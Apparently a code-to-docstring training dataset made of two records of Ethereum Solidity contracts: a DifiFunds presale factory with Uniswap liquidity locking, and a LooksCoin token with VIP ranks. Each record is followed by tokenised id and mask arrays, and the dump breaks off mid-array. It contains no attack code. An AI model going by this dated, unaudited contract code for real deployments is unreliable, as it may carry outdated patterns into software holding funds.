require(totalInvestmentInWei >= minInvestInWei || totalCollectedWei >= hardCapInWei.sub(1 ether), "Min investment not reached");
require(maxInvestInWei == 0 || totalInvestmentInWei <= maxInvestInWei, "Max investment reached");
if (investments[msg.sender] == 0) {
totalInvestorsCount = totalInvestorsCount.add(1);
}
totalCollectedWei = totalCollectedWei.add(msg.value);
investments[msg.sender] = totalInvestmentInWei;
tokensLeft = tokensLeft.sub(getTokenAmount(msg.value));
}
receive() external payable {
invest();
}
function addLiquidityAndLockLPTokens() external presaleIsNotCancelled {
require(totalCollectedWei > 0);
require(!uniLiquidityAdded, "Liquidity already added");
require(
!onlyWhitelistedAddressesAllowed || whitelistedAddresses[msg.sender] || msg.sender == presaleCreatorAddress,
"Not whitelisted or not presale creator"
);
if (totalCollectedWei >= hardCapInWei.sub(1 ether) && block.timestamp < uniLiquidityAddingTime) {
require(msg.sender == presaleCreatorAddress, "Not presale creator");
} else if (block.timestamp >= uniLiquidityAddingTime) {
require(
msg.sender == presaleCreatorAddress || investments[msg.sender] > 0,
"Not presale creator or investor"
);
require(totalCollectedWei >= softCapInWei, "Soft cap not reached");
} else {
revert("Liquidity cannot be added yet");
}
uniLiquidityAdded = true;
uint256 finalTotalCollectedWei = totalCollectedWei;
uint256 DifiDevFeeInWei;
if (!DifiDevFeesExempted) {
uint256 pctDevFee = finalTotalCollectedWei.mul(DifiDevFeePercentage).div(100);
DifiDevFeeInWei = pctDevFee > DifiMinDevFeeInWei || DifiMinDevFeeInWei >= finalTotalCollectedWei
? pctDevFee
: DifiMinDevFeeInWei;
}
if (DifiDevFeeInWei > 0) {
finalTotalCollectedWei = finalTotalCollectedWei.sub(DifiDevFeeInWei);
DifiDevAddress.transfer(DifiDevFeeInWei);
}
uint256 liqPoolEthAmount = finalTotalCollectedWei.mul(uniLiquidityPercentageAllocation).div(100);
uint256 liqPoolTokenAmount = liqPoolEthAmount.mul(1e18).div(uniListingPriceInWei);
token.approve(address(uniswapRouter), liqPoolTokenAmount);
uniswapRouter.addLiquidityETH{value : liqPoolEthAmount}(
address(token),
liqPoolTokenAmount,
0,
0,
DifiLiqLockAddress,
block.timestamp.add(15 minutes)
);
uint256 unsoldTokensAmount = token.balanceOf(address(this)).sub(getTokenAmount(totalCollectedWei));
if (unsoldTokensAmount > 0) {
token.transfer(unsoldTokensDumpAddress, unsoldTokensAmount);
}
presaleCreatorClaimWei = address(this).balance.mul(1e18).div(totalInvestorsCount.mul(1e18));
presaleCreatorClaimTime = block.timestamp + 1 days;
}
function claimTokens()
external
whitelistedAddressOnly
presaleIsNotCancelled
investorOnly
notYetClaimedOrRefunded
{
require(uniLiquidityAdded, "Liquidity not yet added");
claimed[msg.sender] = true; // make sure this goes first before transfer to prevent reentrancy
token.transfer(msg.sender, getTokenAmount(investments[msg.sender]));
uint256 balance = address(this).balance;
if (balance > 0) {
uint256 funds = presaleCreatorClaimWei > balance ? balance : presaleCreatorClaimWei;
presaleCreatorAddress.transfer(funds);
}
}
function getRefund()
external
whitelistedAddressOnly
investorOnly
notYetClaimedOrRefunded
{
if (!presaleCancelled) {
require(block.timestamp >= openTime, "Not yet opened");
require(block.timestamp >= closeTime, "Not yet closed");
require(softCapInWei > 0, "No soft cap");
require(totalCollectedWei < softCapInWei, "Soft cap reached");
}
claimed[msg.sender] = true; // make sure this goes first before transfer to prevent reentrancy
uint256 investment = investments[msg.sender];
uint256 presaleBalance = address(this).balance;
require(presaleBalance > 0);
if (investment > presaleBalance) {
investment = presaleBalance;
}
if (investment > 0) {
msg.sender.transfer(investment);
}
}
function cancelAndTransferTokensToPresaleCreator() external {
if (!uniLiquidityAdded && presaleCreatorAddress != msg.sender && DifiDevAddress != msg.sender) {
revert();
}
if (uniLiquidityAdded && DifiDevAddress != msg.sender) {
revert();
}
require(!presaleCancelled);
presaleCancelled = true;
uint256 balance = token.balanceOf(address(this));
if (balance > 0) {
token.transfer(presaleCreatorAddress, balance);
}
}
function collectFundsRaised() onlyPresaleCreator external {
require(uniLiquidityAdded);
require(!presaleCancelled);
require(block.timestamp >= presaleCreatorClaimTime);
if (address(this).balance > 0) {
presaleCreatorAddress.transfer(address(this).balance);
}
}
function getInfo() view public returns(
uint256[30] memory numbers,
bool[10] memory booleans,
bytes32[10] memory strings,
address[10] memory addresses
){
numbers[0] = DifiDevFeePercentage;
numbers[1] = DifiMinDevFeeInWei;
numbers[2] = DifiId;
numbers[3] = totalInvestorsCount;
numbers[4] = presaleCreatorClaimWei;
numbers[5] = presaleCreatorClaimTime;
numbers[6] = totalCollectedWei;
numbers[7] = totalTokens;
numbers[8] = tokensLeft;
numbers[9] = tokenPriceInWei;
numbers[10] = hardCapInWei;
numbers[11] = softCapInWei;
numbers[12] = maxInvestInWei;
numbers[13] = minInvestInWei;
numbers[14] = openTime;
numbers[15] = closeTime;
numbers[16] = uniListingPriceInWei;
numbers[17] = uniLiquidityAddingTime;
numbers[18] = uniLPTokensLockDurationInDays;
numbers[19] = uniLiquidityPercentageAllocation;
numbers[20] = investments[msg.sender];
booleans[0] = uniLiquidityAdded;
booleans[1] = onlyWhitelistedAddressesAllowed;
booleans[2] = DifiDevFeesExempted;
booleans[3] = presaleCancelled ;
booleans[4] = claimed[msg.sender];
strings[0] = saleTitle;
strings[1] = linkTelegram;
strings[2] = linkTwitter;
strings[3] = linkDiscord;
strings[4] = linkWebsite;
strings[5] = linkTeam;
strings[6] = auditReport;
strings[7] = influencer;
addresses[0] = address(token);
addresses[1] = presaleCreatorAddress;
addresses[2] = DifiLiqLockAddress;
addresses[3] = unsoldTokensDumpAddress;
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time");
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
_token.safeTransfer(_beneficiary, amount);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract DifiFundsLiquidityLock is TokenTimelock {
constructor(
IERC20 _token,
address presaleCreator,
uint256 _releaseTime
) public TokenTimelock(_token, presaleCreator, _releaseTime) {}
}
contract DifiFundsFactory {
using SafeMath for uint256;
event PresaleCreated(bytes32 title, uint256 DifiId, address creator);
IUniswapV2Factory public constant uniswapFactory =
IUniswapV2Factory(address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f));
address public constant wethAddress = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
DifiFundsInfo public immutable Difi;
constructor(address _DifiInfoAddress) public {
Difi = DifiFundsInfo(_DifiInfoAddress);
}
struct PresaleInfo {
address tokenAddress;
address unsoldTokensDumpAddress;
address[] whitelistedAddresses;
uint256 tokenPriceInWei;
uint256 hardCapInWei;
uint256 softCapInWei;
uint256 maxInvestInWei;
uint256 minInvestInWei;
uint256 openTime;
uint256 closeTime;
}
struct PresaleUniswapInfo {
uint256 listingPriceInWei;
uint256 liquidityAddingTime;
uint256 lpTokensLockDurationInDays;
uint256 liquidityPercentageAllocation;
}
struct PresaleStringInfo {
bytes32 saleTitle;
bytes32 linkTelegram;
bytes32 linkDiscord;
bytes32 linkTwitter;
bytes32 linkWebsite;
bytes32 linkTeam;
bytes32 auditReport;
bytes32 influencer;
}
// copied from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
// calculates the CREATE2 address for a pair without making any external calls
function uniV2LibPairFor(
address factory,
address tokenA,
address tokenB
) public view returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
function initializePresale(
DifiFundsPresale _presale,
uint256 _totalTokens,
uint256 _finalTokenPriceInWei,
PresaleInfo calldata _info,
PresaleUniswapInfo calldata _uniInfo,
PresaleStringInfo calldata _stringInfo
) internal {
_presale.setAddressInfo(msg.sender, _info.tokenAddress, _info.unsoldTokensDumpAddress);
_presale.setGeneralInfo(
_totalTokens,
_finalTokenPriceInWei,
_info.hardCapInWei,
_info.softCapInWei,
_info.maxInvestInWei,
_info.minInvestInWei,
_info.openTime,
_info.closeTime
);
_presale.setUniswapInfo(
_uniInfo.listingPriceInWei,
_uniInfo.liquidityAddingTime,
_uniInfo.lpTokensLockDurationInDays,
_uniInfo.liquidityPercentageAllocation
);
_presale.setStringInfo(
_stringInfo.saleTitle,
_stringInfo.linkTelegram,
_stringInfo.linkDiscord,
_stringInfo.linkTwitter,
_stringInfo.linkWebsite,
_stringInfo.linkTeam,
_stringInfo.auditReport,
_stringInfo.influencer
);
_presale.addwhitelistedAddresses(_info.whitelistedAddresses);
}
function createPresale(
PresaleInfo calldata _info,
PresaleUniswapInfo calldata _uniInfo,
PresaleStringInfo calldata _stringInfo
) external {
IERC20 token = IERC20(_info.tokenAddress);
DifiFundsPresale presale = new DifiFundsPresale(address(this), Difi.owner());
address existingPairAddress = uniswapFactory.getPair(address(token), wethAddress);
require(existingPairAddress == address(0)); // token should not be listed in Uniswap
uint256 maxEthPoolTokenAmount = _info.hardCapInWei.mul(_uniInfo.liquidityPercentageAllocation).div(100);
uint256 maxLiqPoolTokenAmount = maxEthPoolTokenAmount.mul(1e18).div(_uniInfo.listingPriceInWei);
uint256 maxTokensToBeSold = _info.hardCapInWei.mul(1e18).div(_info.tokenPriceInWei);
uint256 requiredTokenAmount = maxLiqPoolTokenAmount.add(maxTokensToBeSold);
token.transferFrom(msg.sender, address(presale), requiredTokenAmount);
initializePresale(presale, maxTokensToBeSold, _info.tokenPriceInWei, _info, _uniInfo, _stringInfo);
address pairAddress = uniV2LibPairFor(address(uniswapFactory), address(token), wethAddress);
DifiFundsLiquidityLock liquidityLock = new DifiFundsLiquidityLock(
IERC20(pairAddress),
msg.sender,
_uniInfo.liquidityAddingTime + (_uniInfo.lpTokensLockDurationInDays * 1 days)
);
uint256 DifiId = Difi.addPresaleAddress(address(presale));
presale.setDifiInfo(address(liquidityLock), Difi.getDevFeePercentage(), Difi.getMinDevFeeInWei(), DifiId);
emit PresaleCreated(_stringInfo.saleTitle, DifiId, msg.sender);
}
}
| Listing time < close time | function setUniswapInfo(
uint256 _uniListingPriceInWei,
uint256 _uniLiquidityAddingTime,
uint256 _uniLPTokensLockDurationInDays,
uint256 _uniLiquidityPercentageAllocation
) external onlyDifiFactory {
require(_uniListingPriceInWei > 0);
require(_uniLiquidityAddingTime > 0);
require(_uniLPTokensLockDurationInDays > 0);
require(_uniLiquidityPercentageAllocation > 0);
require(closeTime > 0);
require(_uniLiquidityAddingTime >= closeTime);
uniListingPriceInWei = _uniListingPriceInWei;
uniLiquidityAddingTime = _uniLiquidityAddingTime;
uniLPTokensLockDurationInDays = _uniLPTokensLockDurationInDays;
uniLiquidityPercentageAllocation = _uniLiquidityPercentageAllocation;
}
| 5,887,737 | [
1,
19081,
813,
411,
1746,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
984,
291,
91,
438,
966,
12,
203,
3639,
2254,
5034,
389,
318,
77,
19081,
5147,
382,
3218,
77,
16,
203,
3639,
2254,
5034,
389,
318,
77,
48,
18988,
24237,
13962,
950,
16,
203,
3639,
2254,
5034,
389,
318,
77,
48,
1856,
3573,
2531,
5326,
382,
9384,
16,
203,
3639,
2254,
5034,
389,
318,
77,
48,
18988,
24237,
16397,
17353,
203,
565,
262,
3903,
1338,
40,
704,
1733,
288,
203,
3639,
2583,
24899,
318,
77,
19081,
5147,
382,
3218,
77,
405,
374,
1769,
203,
3639,
2583,
24899,
318,
77,
48,
18988,
24237,
13962,
950,
405,
374,
1769,
203,
3639,
2583,
24899,
318,
77,
48,
1856,
3573,
2531,
5326,
382,
9384,
405,
374,
1769,
203,
3639,
2583,
24899,
318,
77,
48,
18988,
24237,
16397,
17353,
405,
374,
1769,
203,
203,
3639,
2583,
12,
4412,
950,
405,
374,
1769,
203,
3639,
2583,
24899,
318,
77,
48,
18988,
24237,
13962,
950,
1545,
1746,
950,
1769,
203,
203,
3639,
7738,
19081,
5147,
382,
3218,
77,
273,
389,
318,
77,
19081,
5147,
382,
3218,
77,
31,
203,
3639,
7738,
48,
18988,
24237,
13962,
950,
273,
389,
318,
77,
48,
18988,
24237,
13962,
950,
31,
203,
3639,
7738,
48,
1856,
3573,
2531,
5326,
382,
9384,
273,
389,
318,
77,
48,
1856,
3573,
2531,
5326,
382,
9384,
31,
203,
3639,
7738,
48,
18988,
24237,
16397,
17353,
273,
389,
318,
77,
48,
18988,
24237,
16397,
17353,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
/*
* LooksCoin token sale contract
*
* Refer to https://lookscoin.com for more information.
*
* Developer: LookRev
*
*/
/*
* ERC20 Token Standard
*/
contract ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
}
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
library SafeMath {
/**
* Add two uint256 values, revert in case of overflow.
*
* @param a first value to add
* @param b second value to add
* @return a + b
*/
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param a value to subtract from
* @param b value to subtract
* @return a - b
*/
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(a >= b);
return a - b;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param a first value to multiply
* @param b second value to multiply
* @return a * b
*/
function mul(uint256 a, uint256 b) internal returns (uint256) {
if (a == 0 || b == 0) return 0;
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* Divid uint256 values, throw in case of overflow.
*
* @param a first value numerator
* @param b second value denominator
* @return a / b
*/
function div(uint256 a, uint256 b) internal returns (uint256) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/*
Provides support and utilities for contract ownership
*/
contract Ownable {
address owner;
address newOwner;
function Ownable() {
owner = msg.sender;
}
/**
* Allows execution by the owner only.
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* Transferring the contract ownership to the new owner.
*
* @param _newOwner new contractor owner
*/
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != 0x0) {
newOwner = _newOwner;
}
}
/**
* Accept the contract ownership by the new owner.
*/
function acceptOwnership() {
require(msg.sender == newOwner);
owner = newOwner;
OwnershipTransferred(owner, newOwner);
newOwner = 0x0;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
/**
* Standard Token Smart Contract
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) balances;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) internal allowed;
/**
* Mapping from addresses of token holders to the mapping of token amount spent.
* Use by the token holders to spend their utility tokens.
*/
mapping (address => mapping (address => uint256)) spentamount;
/**
* Mapping of the addition of patrons.
*/
mapping (address => bool) patronAppended;
/**
* Mapping of the addresses of patrons.
*/
address[] patrons;
/**
* Mapping of the addresses of VIP token holders.
*/
address[] vips;
/**
* Mapping for VIP rank for qualified token holders
* Higher VIP rank (with earlier timestamp) has higher bidding priority when
* competing for the same product or service on platform.
*/
mapping (address => uint256) viprank;
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to its owner
*
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != 0x0);
if(_from == _to) return false;
if (balances[_from] < _value) return false;
if (_value > allowed[_from][msg.sender]) return false;
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve(address _spender, uint256 _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling approve(_spender, 0) if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
return false;
}
if (balances[msg.sender] < _value) {
return false;
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* LooksCoin Token
*
* LooksCoin Token is an utility token that can be purchased through crowdsale or earned on
* the LookRev platform. It can be spent to purchase creative products and services on
* LookRev platform.
*
* VIP rank is used to calculate priority when competing with other bids
* for the same product or service on the platform.
* Higher VIP rank (with earlier timestamp) has higher priority.
* Higher VIP rank wallet address owner can outbid other lower ranking owners only once
* per selling window or promotion period.
* VIP rank is recorded at the time when the wallet address first reach VIP LooksCoin
* holding level for a token purchaser.
* VIP rank is valid for the lifetime of a wallet address on the platform, as long as it
* meets the VIP holding level.
* Usage of the LooksCoin, VIP rank and token utilities are described on the website
* https://lookscoin.com.
*
*/
contract LooksCoin is StandardToken, Ownable {
/**
* Number of decimals of the smallest unit
*/
uint256 public constant decimals = 18;
/**
* VIP Holding Level. Minimium token holding amount to record a VIP rank.
* Token holding address needs have at least 24000 LooksCoin to be ranked as VIP
* VIP rank can only be set through purchasing tokens
*/
uint256 public constant VIP_MINIMUM = 24000e18;
/**
* Initial number of tokens.
*/
uint256 constant INITIAL_TOKENS_COUNT = 100000000e18;
/**
* Crowdsale contract address.
*/
address public tokenSaleContract = 0x0;
/**
* Init Placeholder
*/
address coinmaster = address(0xd3c79e4AD654436d59AfD61363Bc2B927d2fb680);
/**
* Create new LooksCoin token smart contract.
*/
function LooksCoin() {
owner = coinmaster;
balances[owner] = INITIAL_TOKENS_COUNT;
totalSupply = INITIAL_TOKENS_COUNT;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name() constant returns (string name) {
return "LooksCoin";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol() constant returns (string symbol) {
return "LOOKS";
}
/**
* @dev Set new token sale contract.
* May only be called by owner.
*
* @param _newTokenSaleContract new token sale manage contract.
*/
function setTokenSaleContract(address _newTokenSaleContract) {
require(msg.sender == owner);
assert(_newTokenSaleContract != 0x0);
tokenSaleContract = _newTokenSaleContract;
}
/**
* Get VIP rank of a given owner.
* VIP rank is valid for the lifetime of a token wallet address,
* as long as it meets VIP holding level.
*
* @param _to participant address to get the vip rank
* @return vip rank of the owner of given address
*/
function getVIPRank(address _to) constant public returns (uint256 rank) {
if (balances[_to] < VIP_MINIMUM) {
return 0;
}
return viprank[_to];
}
/**
* Check and update VIP rank of a given token buyer.
* Contribution timestamp is recorded for VIP rank.
* Recorded timestamp for VIP rank should always be earlier than the current time.
*
* @param _to address to check the vip rank.
* @return rank vip rank of the owner of given address if any
*/
function updateVIPRank(address _to) returns (uint256 rank) {
// Contribution timestamp is recorded for VIP rank
// Recorded timestamp for VIP rank should always be earlier than current time
if (balances[_to] >= VIP_MINIMUM && viprank[_to] == 0) {
viprank[_to] = now;
vips.push(_to);
}
return viprank[_to];
}
event TokenRewardsAdded(address indexed participant, uint256 balance);
/**
* Reward participant the tokens they purchased or earned
*
* @param _to address to credit tokens to the
* @param _value number of tokens to transfer to given recipient
*
* @return true if tokens were transferred successfully, false otherwise
*/
function rewardTokens(address _to, uint256 _value) {
require(msg.sender == tokenSaleContract || msg.sender == owner);
assert(_to != 0x0);
require(_value > 0);
balances[_to] = balances[_to].add(_value);
totalSupply = totalSupply.add(_value);
updateVIPRank(_to);
TokenRewardsAdded(_to, _value);
}
event SpentTokens(address indexed participant, address indexed recipient, uint256 amount);
/**
* Spend given number of tokens for a usage.
*
* @param _to address to spend utility tokens at
* @param _value number of tokens to spend
* @return true on success, false on error
*/
function spend(address _to, uint256 _value) public returns (bool success) {
require(_value > 0);
assert(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
spentamount[msg.sender][_to] = spentamount[msg.sender][_to].add(_value);
SpentTokens(msg.sender, _to, _value);
if(!patronAppended[msg.sender]) {
patronAppended[msg.sender] = true;
patrons.push(msg.sender);
}
return true;
}
event Burn(address indexed burner, uint256 value);
/**
* Burn given number of tokens belonging to message sender.
* It can be applied by account with address this.tokensaleContract
*
* @param _value number of tokens to burn
* @return true on success, false on error
*/
function burnTokens(address burner, uint256 _value) public returns (bool success) {
require(msg.sender == burner || msg.sender == owner);
assert(burner != 0x0);
if (_value > totalSupply) return false;
if (_value > balances[burner]) return false;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
return true;
}
/**
* Get the VIP owner at the index.
*
* @param index of the VIP owner on the VIP list
* @return address of the VIP owner
*/
function getVIPOwner(uint256 index) constant returns (address vipowner) {
return (vips[index]);
}
/**
* Get the count of VIP owners.
*
* @return count of VIP owners list.
*/
function getVIPCount() constant returns (uint256 count) {
return vips.length;
}
/**
* Get the patron at the index.
*
* @param index of the patron on the patron list
* @return address of the patron
*/
function getPatron(uint256 index) constant returns (address patron) {
return (patrons[index]);
}
/**
* Get the count of patrons.
*
* @return number of patrons.
*/
function getPatronsCount() constant returns (uint256 count) {
return patrons.length;
}
} | * @dev Set new token sale contract. May only be called by owner. @param _newTokenSaleContract new token sale manage contract./ | function setTokenSaleContract(address _newTokenSaleContract) {
require(msg.sender == owner);
assert(_newTokenSaleContract != 0x0);
tokenSaleContract = _newTokenSaleContract;
}
| 13,036,682 | [
1,
694,
394,
1147,
272,
5349,
6835,
18,
16734,
1338,
506,
2566,
635,
3410,
18,
225,
389,
2704,
1345,
30746,
8924,
394,
1147,
272,
5349,
10680,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
22629,
30746,
8924,
12,
2867,
389,
2704,
1345,
30746,
8924,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
3639,
1815,
24899,
2704,
1345,
30746,
8924,
480,
374,
92,
20,
1769,
203,
3639,
1147,
30746,
8924,
273,
389,
2704,
1345,
30746,
8924,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
